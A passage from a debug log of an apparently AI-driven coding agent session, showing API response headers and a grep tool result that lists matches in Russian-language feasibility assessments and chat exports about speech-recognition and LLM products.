29 Sep 2026 07:46:04 GMT\",\n[2026-09-29T07:46:04.909Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:46:04.930Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:46:04.934Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T07:46:04.936Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T07:46:04.942Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:46:04.948Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T07:46:04.956Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T07:46:04.962Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:46:04.965Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:46:04.968Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:46:04.972Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:46:04.975Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:46:04.978Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.36\",\n[2026-09-29T07:46:04.984Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:46:04.987Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:46:04.990Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:46:04.995Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:46:04.999Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:46:05.007Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:46:05.013Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:46:05.015Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:46:05.019Z] [STDOUT]   \"request-id\": \"req_011CfXMoaw27hV5aqV5gAfCV\",\n[2026-09-29T07:46:05.022Z] [STDOUT]   \"traceresponse\": \"00-eb52898b9fb33c29918b94463325d9a2-8ee226df2e10d435-01\",\n[2026-09-29T07:46:05.027Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:46:05.033Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:46:05.040Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T07:46:05.044Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:46:05.047Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T07:46:05.051Z] [STDOUT]   \"cf-ray\": \"a4295f319c3f29ad-FRA\",\n[2026-09-29T07:46:05.054Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T07:46:05.058Z] [STDOUT] [log_17b470] response parsed {\n[2026-09-29T07:46:05.061Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:46:05.064Z] [STDOUT]   status: 200,\n[2026-09-29T07:46:05.069Z] [STDOUT]   body: X {\n[2026-09-29T07:46:05.071Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:46:05.075Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:46:05.077Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:46:05.081Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:46:05.084Z] [STDOUT]     },\n[2026-09-29T07:46:05.088Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:46:05.092Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:46:05.095Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:46:05.098Z] [STDOUT]   },\n[2026-09-29T07:46:05.101Z] [STDOUT]   durationMs: 938,\n[2026-09-29T07:46:05.108Z] [STDOUT] }\n[2026-09-29T07:46:05.113Z] [INFO] {\n[2026-09-29T07:46:05.113Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:46:05.113Z] [INFO]   \"subtype\": \"task_started\",\n[2026-09-29T07:46:05.113Z] [INFO]   \"task_id\": \"b5232ejry\",\n[2026-09-29T07:46:05.113Z] [INFO]   \"owned_by_subagent\": true,\n[2026-09-29T07:46:05.113Z] [INFO]   \"tool_use_id\": \"toolu_01WPasMniLC2ZPWsJq3cLiBF\",\n[2026-09-29T07:46:05.113Z] [INFO]   \"description\": \"Find runtime environment mentions\",\n[2026-09-29T07:46:05.113Z] [INFO]   \"is_backgrounded\": false,\n[2026-09-29T07:46:05.113Z] [INFO]   \"task_type\": \"local_bash\",\n[2026-09-29T07:46:05.113Z] [INFO]   \"uuid\": \"485ce7c5-35fa-48cf-b654-996f5d9826e6\",\n[2026-09-29T07:46:05.113Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\"\n[2026-09-29T07:46:05.113Z] [INFO] }\n[2026-09-29T07:46:05.250Z] [INFO] {\n[2026-09-29T07:46:05.250Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:46:05.250Z] [INFO]   \"subtype\": \"task_notification\",\n[2026-09-29T07:46:05.250Z] [INFO]   \"task_id\": \"b5232ejry\",\n[2026-09-29T07:46:05.250Z] [INFO]   \"tool_use_id\": \"toolu_01WPasMniLC2ZPWsJq3cLiBF\",\n[2026-09-29T07:46:05.250Z] [INFO]   \"status\": \"completed\",\n[2026-09-29T07:46:05.250Z] [INFO]   \"output_file\": \"\",\n[2026-09-29T07:46:05.250Z] [INFO]   \"summary\": \"Find runtime environment mentions\",\n[2026-09-29T07:46:05.250Z] [INFO]   \"uuid\": \"d1875f30-2714-4b0f-b512-b6d9f7b7832c\",\n[2026-09-29T07:46:05.250Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\"\n[2026-09-29T07:46:05.250Z] [INFO] }\n[2026-09-29T07:46:05.264Z] [INFO] {\n[2026-09-29T07:46:05.264Z] [INFO]   \"type\": \"user\",\n[2026-09-29T07:46:05.264Z] [INFO]   \"message\": {\n[2026-09-29T07:46:05.264Z] [INFO]     \"role\": \"user\",\n[2026-09-29T07:46:05.264Z] [INFO]     \"content\": [\n[2026-09-29T07:46:05.264Z] [INFO]       {\n[2026-09-29T07:46:05.264Z] [INFO]         \"tool_use_id\": \"toolu_01WPasMniLC2ZPWsJq3cLiBF\",\n[2026-09-29T07:46:05.264Z] [INFO]         \"type\": \"tool_result\",\n[2026-09-29T07:46:05.264Z] [INFO]         \"content\": \"./runs/2026/RUN-0027/inputs/chat-transcript.md:146:\u0414\u043e\u0441\u0442\u0443\u043f  \u043a \u043f\u043e\u0447\u0442\u043e\u0432\u043e\u043c\u0443 \u044f\u0449\u0438\u043a\u0443 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u043f\u043e\u0447\u0442\u043e\u0432\u044b\u0445 \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432 \u0441 \u0441\u0435\u0440\u0432\u0435\u0440\u0430 imap.yandex.ru \u043f\u043e \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u0443 IMAP \\n./runs/2026/RUN-0027/inputs/978-chat-export-1787301801668.json:1:[{\\\"id\\\":\\\"50ab7a30-44d7-42ac-8ebf-a6db167a2702\\\",\\\"user_id\\\":\\\"8d5b7383-092a-4fba-b32e-15c13d7c41e1\\\",\\\"title\\\":\\\"978 \u041d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0430 \u043f\u043e\u0434\u043f\u0438\u0441\u0435\u0439 email \u0432 \u041b\u041a\\\",\\\"chat\\\":{\\\"history\\\":{\\\"messages\\\":{\\\"3db7\\n./runs/2026/RUN-0057/outputs/L3-technical-notes.md:22:| Q1 | \u041a\u0430\u043a\u043e\u0432\u0430 \u0437\u0430\u044f\u0432\u043b\u0435\u043d\u043d\u0430\u044f \u0442\u043e\u0447\u043d\u043e\u0441\u0442\u044c \u0440\u0430\u0441\u043f\u043e\u0437\u043d\u0430\u0432\u0430\u043d\u0438\u044f (WER/accuracy) \u0434\u043b\u044f \u0442\u0435\u0445\u043d\u043e\u043b\u043e\u0433\u0438\u0439 MANGO OFFICE \u0438 Yandex SpeechKit, \u043d\u0430 \u043a\u0430\u043a\u043e\u043c \u043a\u043e\u0440\u043f\u0443\u0441\u0435 \u0438 \u043f\u043e \u043a\u0430\ufffd\\n./runs/2026/RUN-0057/outputs/L3-technical-notes.md:63:| P9 | \u0418\u0418-\u0444\u0443\u043d\u043a\u0446\u0438\u0438 \u043b\u0438\u043c\u0438\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u044b \u043f\u043e \u0447\u0430\u0441\u0442\u043e\u0442\u0435 (\u043f\u043e\u0434\u0431\u043e\u0440 \u0441\u0438\u043d\u043e\u043d\u0438\u043c\u043e\u0432 \u2014 8 \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432 \u0432 \u0447\u0430\u0441, YandexGPT \u2014 30 \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432 \u0432 \u0447\u0430\u0441) | [SA, \u00a76.2.1, \u0441.44-\\n./runs/2026/RUN-0057/outputs/L0-customer-form-with-assessment.md:49:\u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u00ab\u0414\u0430 (\u0431\u0430\u0437\u043e\u0432\u0430\u044f \u0444\u0443\u043d\u043a\u0446\u0438\u044f Yandex SpeechKit)\u00bb. \u041f\u0440\u0430\u0432\u043e \u043d\u0430 \u0442\u0430\u043a\u043e\u0435 \u0442\u043e\u043b\u043a\u043e\u0432\u0430\u043d\u0438\u0435 \u0434\u0430\u0451\u0442 \u0441\u0430\u043c\u0430 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u044f:\\n./runs/2026/RUN-0057/outputs/L0-customer-form-with-assessment.md:50:\u0434\u043b\u044f \u0420\u043e\u0431\u043e\u0442\u043e\u0432 \u00ab\u0442\u0435\u0445\u043d\u043e\u043b\u043e\u0433\u0438\u044f \u043d\u0430 \u0432\u044b\u0431\u043e\u0440 MANGO OFFICE \u0438\u043b\u0438 Yandex SpeechKit\u00bb [ROBOTFIL, \u00a73.5, \u0441.28-32], \u0434\u043b\u044f\\n./runs/2026/RUN-0057/outputs/L0-customer-form-with-assessment.md:51:\u0420\u0435\u0447\u0435\u0432\u043e\u0439 \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0438 \u00ab3iTech \u2026 Yandex SpeechKit \u2014 \u0431\u043e\u043b\u0435\u0435 \u0442\u043e\u0447\u043d\u0430\u044f \u0442\u0435\u0445\u043d\u043e\u043b\u043e\u0433\u0438\u044f\u00bb [SA, \u00a73.2, \u0441.14-16].\\n./runs/2026/RUN-0057/outputs/L0-customer-form-with-assessment.md:118:| 1.0 | \u0421\u0438\u0441\u0442\u0435\u043c\u0430 \u0434\u043e\u043b\u0436\u043d\u0430 \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0438\u0432\u0430\u0442\u044c \u0440\u0430\u0441\u043f\u043e\u0437\u043d\u0430\u0432\u0430\u043d\u0438\u0435 \u0440\u0443\u0441\u0441\u043a\u043e\u0439 \u0440\u0435\u0447\u0438 | \u0414\u0430 | **\u0414\u0430.** \u00ab\u0422\u0435\u0445\u043d\u043e\u043b\u043e\u0433\u0438\u044f \u043d\u0430 \u0432\u044b\u0431\u043e\u0440 MANGO OFFICE \u0438\u043b\u0438 Y\\n./runs/2026/RUN-0057/outputs/L0-customer-form-with-assessment.md:119:| 2.0 | \u0420\u0430\u0441\u043f\u043e\u0437\u043d\u0430\u0432\u0430\u043d\u0438\u0435 \u0441\u043b\u0438\u0442\u043d\u043e\u0439 \u0438 \u0440\u0430\u0437\u0434\u0435\u043b\u044c\u043d\u043e\u0439 \u0440\u0435\u0447\u0438 | \u0414\u0430 | **\u0414\u0430 (\u0431\u0430\u0437\u043e\u0432\u0430\u044f \u0444\u0443\u043d\u043a\u0446\u0438\u044f Yandex SpeechKit).** [ROBOTFIL] \u0440\u0435\u0436\u0438\u043c\u044b \u0441\u043b\u0438\u0442\u043d\u043e\u0439 \ufffd\\n./runs/2026/RUN-0057/outputs/L0-customer-form-with-assessment.md:121:| 4.0 | \u0421\u0438\u0441\u0442\u0435\u043c\u0430 \u0434\u043e\u043b\u0436\u043d\u0430 \u043f\u043e\u043d\u0438\u043c\u0430\u0442\u044c \u043d\u0435\u043e\u043b\u043e\u0433\u0438\u0437\u043c\u044b \u0438 \u0437\u0430\u0438\u043c\u0441\u0442\u0432\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0441\u043b\u043e\u0432\u0430 \u0438\u0437 \u0434\u0440\u0443\u0433\u0438\u0445 \u044f\u0437\u044b\u043a\u043e\u0432 | \u0414\u0430, \u043d\u043e \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u0434\u043e\u043e\u0431\ufffd\\n./runs/2026/RUN-0057/outputs/L0-customer-form-with-assessment.md:124:| 7.0 | \u0422\u043e\u0447\u043d\u043e\u0441\u0442\u044c \u0440\u0430\u0441\u043f\u043e\u0437\u043d\u0430\u0432\u0430\u043d\u0438\u044f \u043d\u0435 \u043d\u0438\u0436\u0435 93%. | \u0414\u0430 | **\u041d\u0435\u0442 \u0434\u0430\u043d\u043d\u044b\u0445.** \u0427\u0438\u0441\u043b\u043e\u0432\u0430\u044f \u043c\u0435\u0442\u0440\u0438\u043a\u0430 \u0442\u043e\u0447\u043d\u043e\u0441\u0442\u0438 \u0440\u0430\u0441\u043f\u043e\u0437\u043d\u0430\u0432\u0430\u043d\u0438\u044f \u0432 [ROBOTF\\n./runs/2026/RUN-0057/outputs/L0-customer-form-with-assessment.md:197:| 4.0 | \u041f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u0430 \u0434\u043e\u043b\u0436\u043d\u0430 \u0438\u043c\u0435\u0442\u044c \u0432 \u0441\u0432\u043e\u0435\u043c \u0441\u043e\u0441\u0442\u0430\u0432\u0435 \u0433\u0435\u043d\u0435\u0440\u0430\u0442\u0438\u0432\u043d\u0443\u044e \u043c\u043e\u0434\u0435\u043b\u044c \u043d\u0430 \u0431\u0430\u0437\u0435 GPT \u0434\u043b\u044f \u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u043e\u0442\u0432\u0435\u0442\u043e\u0432 \u043d\u0430 \u043f\ufffd\\n./runs/2026/RUN-0057/outputs/L0-customer-form-with-assessment.md:198:| 5.0 | \u041c\u043e\u0434\u0443\u043b\u044c NLU \u0434\u043e\u043b\u0436\u0435\u043d \u0431\u044b\u0442\u044c \u0440\u0435\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u043d \u043d\u0430 \u0441\u043e\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0445 \u043d\u0435\u0439\u0440\u043e\u0441\u0435\u0442\u0435\u0432\u044b\u0445 \u044f\u0437\u044b\u043a\u043e\u0432\u044b\u0445 \u043c\u043e\u0434\u0435\u043b\u044f\u0445 \u0442\u0438\u043f\u0430 BERT \u0438\u043b\u0438 GPT | \u0414\u0430. | **\ufffd\\n./runs/2026/RUN-0057/outputs/L0-customer-form-with-assessment.md:202:| 9.0 | \u041f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u0430 \u0434\u043e\u043b\u0436\u043d\u0430 \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u0438\u0432\u0430\u0442\u044c \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0435 \u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u043e\u0433\u043e \u0441\u043b\u043e\u0432\u0430\u0440\u044f  \u0434\u043b\u044f \u043d\u0430\u043c\u0435\u0440\u0435\u043d\\n./runs/2026/RUN-0057/outputs/L2-feasibility-matrix.md:42:| 1.0 | \u0421\u0438\u0441\u0442\u0435\u043c\u0430 \u0434\u043e\u043b\u0436\u043d\u0430 \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0438\u0432\u0430\u0442\u044c \u0440\u0430\u0441\u043f\u043e\u0437\u043d\u0430\u0432\u0430\u043d\u0438\u0435 \u0440\u0443\u0441\u0441\u043a\u043e\u0439 \u0440\u0435\u0447\u0438 | \u0414\u0430 | **\u04231** | [ROBOTFIL, \u00a73.5, \u0441.28-32] \u2014 \u0432\u043a\u043b\u0430\u0434\u043a\u0430 \u00ab\u0420\u0430\u0441\u043f\u043e\u0437\u043d\u0430\u0432\u0430\u043d\ufffd\\n./runs/2026/RUN-0057/outputs/L2-feasibility-matrix.md:101:| 4.0 | \u041f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u0430 \u0434\u043e\u043b\u0436\u043d\u0430 \u0438\u043c\u0435\u0442\u044c \u0432 \u0441\u0432\u043e\u0435\u043c \u0441\u043e\u0441\u0442\u0430\u0432\u0435 \u0433\u0435\u043d\u0435\u0440\u0430\u0442\u0438\u0432\u043d\u0443\u044e \u043c\u043e\u0434\u0435\u043b\u044c \u043d\u0430 \u0431\u0430\u0437\u0435 GPT \u0434\u043b\u044f \u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u043e\u0442\u0432\u0435\u0442\u043e\u0432 \u043d\u0430 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\\n./runs/2026/RUN-0057/outputs/L2-feasibility-matrix.md:102:| 5.0 | \u041c\u043e\u0434\u0443\u043b\u044c NLU \u0434\u043e\u043b\u0436\u0435\u043d \u0431\u044b\u0442\u044c \u0440\u0435\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u043d \u043d\u0430 \u0441\u043e\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0445 \u043d\u0435\u0439\u0440\u043e\u0441\u0435\u0442\u0435\u0432\u044b\u0445 \u044f\u0437\u044b\u043a\u043e\u0432\u044b\u0445 \u043c\u043e\u0434\u0435\u043b\u044f\u0445 \u0442\u0438\u043f\u0430 BERT \u0438\u043b\u0438 GPT | \u0414\u0430. | **\u04231\u0447** | [R\\n./runs/2026/RUN-0057/outputs/L2-feasibility-matrix.md:106:| 9.0 | \u041f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u0430 \u0434\u043e\u043b\u0436\u043d\u0430 \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u0438\u0432\u0430\u0442\u044c \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0435 \u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u043e\u0433\u043e \u0441\u043b\u043e\u0432\u0430\u0440\u044f  \u0434\u043b\u044f \u043d\u0430\u043c\u0435\u0440\u0435\u043d\u0438\u0439 \u0438 \u043d\ufffd\\n./runs/2026/RUN-0057/outputs/L2-feasibility-matrix.md:138:| 5.9. | - \u0418\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u043d\u0430 \u0440\u0430\u0437\u043d\u044b\u0445 \u044d\u0442\u0430\u043f\u0430\u0445 \u0434\u0438\u0430\u043b\u043e\u0433\u0430\u0445 \u0440\u0430\u0437\u043d\u044b\u0435 \u043c\u043e\u0434\u0435\u043b\u0438 \u0440\u0430\u0441\u043f\u043e\u0437\u043d\u0430\u0432\u0430\u043d\u0438\u044f \u0440\u0435\u0447\u0438\u0438 (STT) | \u041d\u0435\u0442. | \u2014 | \u00ab\u041d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0438 \u0433\u043e\u043b\u043e\ufffd\\n./runs/2026/RUN-0057/outputs/L2-feasibility-matrix.md:158:| 7.3. | - \u041e\u0437\u0432\u0443\u0447\u0438\u0432\u0430\u043d\u0438\u0435 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0441\u0438\u043d\u0442\u0435\u0437\u0430 \u0440\u0435\u0447\u0438.\u0421 \u0435\u0433\u043e \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0440\u043e\u0431\u043e\u0442 \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u043e\u0433\u043e\u0432\u0430\u0440\u0438\u0432\u0430\u0442\u044c \u043a\u0430\u043a \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0435 \u0441\u043b\u043e\u0432\u0430 (\u043d\u0430\u043f\u0440\u0438\\n./runs/2026/RUN-0067/metadata.yaml:5:author: \\\"AI issue solver (Claude Code)\\\"\\n./runs/2026/RUN-0061/logs/link-verification.md:69:| [`bpl/functions/deepseek`](https://wiki.twin24.ai/bpl/functions/deepseek) | 200 | 1 | \u0424\u0443\u043d\u043a\u0446\u0438\u0438 DeepSeek | TWIN |\\n./runs/2026/RUN-0061/logs/link-verification.md:71:| [`bpl/functions/gigachat`](https://wiki.twin24.ai/bpl/functions/gigachat) | 200 | 1 | \u0424\u0443\u043d\u043a\u0446\u0438\u0438 GigaChat | TWIN |\\n./runs/2026/RUN-0061/logs/link-verification.md:79:| [`bpl/functions/ygpt`](https://wiki.twin24.ai/bpl/functions/ygpt) | 200 | 1 | \u0424\u0443\u043d\u043a\u0446\u0438\u0438 YandexGPT | TWIN |\\n./runs/2026/RUN-0019/inputs/chat-transcript.md:510:- 4.2. \u0412\u043d\u0435\u0448\u043d\u0438\u0439 \u043f\u0440\u043e\u0434\u0443\u043a\u0442 (\u043a\u0430\u043a\u043e\u0439 \u0438\u043c\u0435\u043d\u043d\u043e \u2014 \u00ab\u0418\u043d\u0444\u043e\u043a\u043b\u0438\u043d\u0438\u043a\u0430\u00bb, \u041c\u0418\u0421 \u00ab\u041c\u0435\u0434\u044d\u043b\u0435\u043c\u0435\u043d\u0442\u00bb, Yandex Medicine, \u0441\u0430\u043c\u043e\u043f\u0438\u0441\u043d\u0430\u044f \u0438 \u0442. \u0434.)?\\n./runs/2026/RUN-0019/inputs/chat-transcript.md:1293:\u041f\u043e\u0434 SDK \u043c\u044b \u043f\u043e\u0434\u0440\u0430\u0437\u0443\u043c\u0435\u0432\u0430\u0435\u043c \u043a\u043b\u0438\u0435\u043d\u0442\u0441\u043a\u0438\u0439 \u043c\u043e\u0434\u0443\u043b\u044c, \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0443 \u0438\u043b\u0438 \u0432\u0441\u0442\u0440\u0430\u0438\u0432\u0430\u0435\u043c\u044b\u0439 \u0432\u0438\u0434\u0436\u0435\u0442, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d \u0432 web-\u0438\\n./runs/2026/RUN-0019/inputs/chat-transcript.md:1306:\u0415\u0441\u043b\u0438 \u0437\u0432\u043e\u043d\u043e\u043a \u0434\u043e\u043b\u0436\u0435\u043d \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c\u0441\u044f \u043f\u0440\u044f\u043c\u043e \u0438\u0437 \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u0430 \u0432\u043d\u0443\u0442\u0440\u0438 \u041c\u0418\u0421, \u0442\u043e \u0432 \u044d\u0442\u043e\u0442 \u0432\u0430\u0440\u0438\u0430\u043d\u0442 \u0442\u0430\u043a\u0436\u0435 \u0432\u0445\u043e\u0434\u0438\u0442 WebRTC-\u043a\u043b\u0438\u0435\u043d\u0442/\u0432\u0441\u0442\u0440\u0430\u0438\u0432\u0430\u0435\u043c\\n./runs/2026/RUN-0019/inputs/chat-export-1064.json:1:[{\\\"id\\\":\\\"70e03f0a-0028-44f2-8a2d-f02c982e24af\\\",\\\"user_id\\\":\\\"8d5b7383-092a-4fba-b32e-15c13d7c41e1\\\",\\\"title\\\":\\\"1064\\\",\\\"chat\\\":{\\\"history\\\":{\\\"messages\\\":{\\\"18163c02-99a3-43d8-a261-30271ace03ab\\\":{\\\"id\\\":\\\"18163c02-99a3-43d8-a2\\n./runs/2026/RUN-0019/outputs/final-artifact.md:109:| \u0424\u043e\u0440\u043c\u0430 \u043f\u043e\u0441\u0442\u0430\u0432\u043a\u0438 | \u041e\u0436\u0438\u0434\u0430\u043d\u0438\u0435 \u0417\u0430\u043a\u0430\u0437\u0447\u0438\u043a\u0430 \u2014 \u00abSDK / \u0432\u0441\u0442\u0440\u0430\u0438\u0432\u0430\u0435\u043c\u044b\u0439 \u043a\u043b\u0438\u0435\u043d\u0442 Mango (\u043d\u0435 Google \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u0435)\u00bb: \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0430 \u0438\u043b\u0438 \u0432\u0438\u0434\u0436\u0435\u0442, \u043f\u043e\ufffd\\n./runs/2026/RUN-0024/inputs/1020-chat-export-1787301522802.json:1:[{\\\"id\\\":\\\"87b0b208-c5dc-4a16-aac8-1e0ded507516\\\",\\\"user_id\\\":\\\"8d5b7383-092a-4fba-b32e-15c13d7c41e1\\\",\\\"title\\\":\\\"1020\\\",\\\"chat\\\":{\\\"history\\\":{\\\"messages\\\":{\\\"5c7e3265-40d9-4cd5-943b-d1513541d49c\\\":{\\\"id\\\":\\\"5c7e326\\n./runs/2026/RUN-0020/inputs/transcript.md:2344:2. **\u0418\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 BI-\u0441\u0438\u0441\u0442\u0435\u043c:** \u0418\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u043b\u0438 \u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0438\u0435 BI-\u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b (Power BI, Tableau, Yandex DataLens \u0438 \u0434\u0440.)? \u0420\u0430\u0441\u0441\u043c\u0430\u0442\u0440\u0438\u0432\u0430\u043b\ufffd\\n./runs/2026/RUN-0020/inputs/1065-chat-export-1787301452625.json:1:[{\\\"id\\\":\\\"a9792cff-e63d-4db7-8003-f4c1021cb511\\\",\\\"user_id\\\":\\\"8d5b7383-092a-4fba-b32e-15c13d7c41e1\\\",\\\"title\\\":\\\"1065\\\",\\\"chat\\\":{\\\"history\\\":{\\\"messages\\\":{\\\"01c0cf9a-2b7a-4b4b-8d9b-caf7f707304a\\\":{\\\"id\\\":\\\"01c0cf9\\n./runs/2026/RUN-0064/metadata.yaml:5:author: \\\"OpenAI Codex\\\"\\n./runs/2026/RUN-0066/outputs/L0-feasibility-assessment-1099-2.md:254:| 208 | \u0421\u0438\u0441\u0442\u0435\u043c\u0430 \u0434\u043e\u043b\u0436\u043d\u0430 \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0442\u044c \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u043f\u043e\u0434\u0431\u043e\u0440\u0430 \u0441\u043b\u043e\u0432 \u043f\u0440\u0438 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0438\u0438 \u0442\u0435\u043c\u0430\u0442\u0438\\n./runs/2026/RUN-0066/outputs/L0-feasibility-assessment-1099-2.md:317:| 267 | \u0421\u0438\u0441\u0442\u0435\u043c\u0430 \u0434\u043e\u043b\u0436\u043d\u0430 \u0438\u043c\u0435\u0442\u044c \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0438 \u0441\u043a\u0440\u0438\u043f\u0442\u0430 \u0440\u0430\u0431\u043e\u0442\u044b \u0440\u043e\u0431\u043e\u0442\u0430 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0432\u0438\u0437\u0443\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u0430\\n./runs/2026/RUN-0069/logs/technical-audit.md:13:  \u043c\u043e\u0434\u0435\u043b\u0435\u0439 \u0438 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c\u0430 \u043f\u0435\u0440\u0435\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044f; Yandex SpeechKit \u2014 ASR, \u043d\u0435 LLM.\\n./runs/2026/RUN-0069/logs/technical-audit.md:14:- **\u0421\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u0430\u044f ASR-\u043c\u043e\u0434\u0435\u043b\u044c \u0438 7 \u044d\u043c\u043e\u0446\u0438\u0439 (8.1, 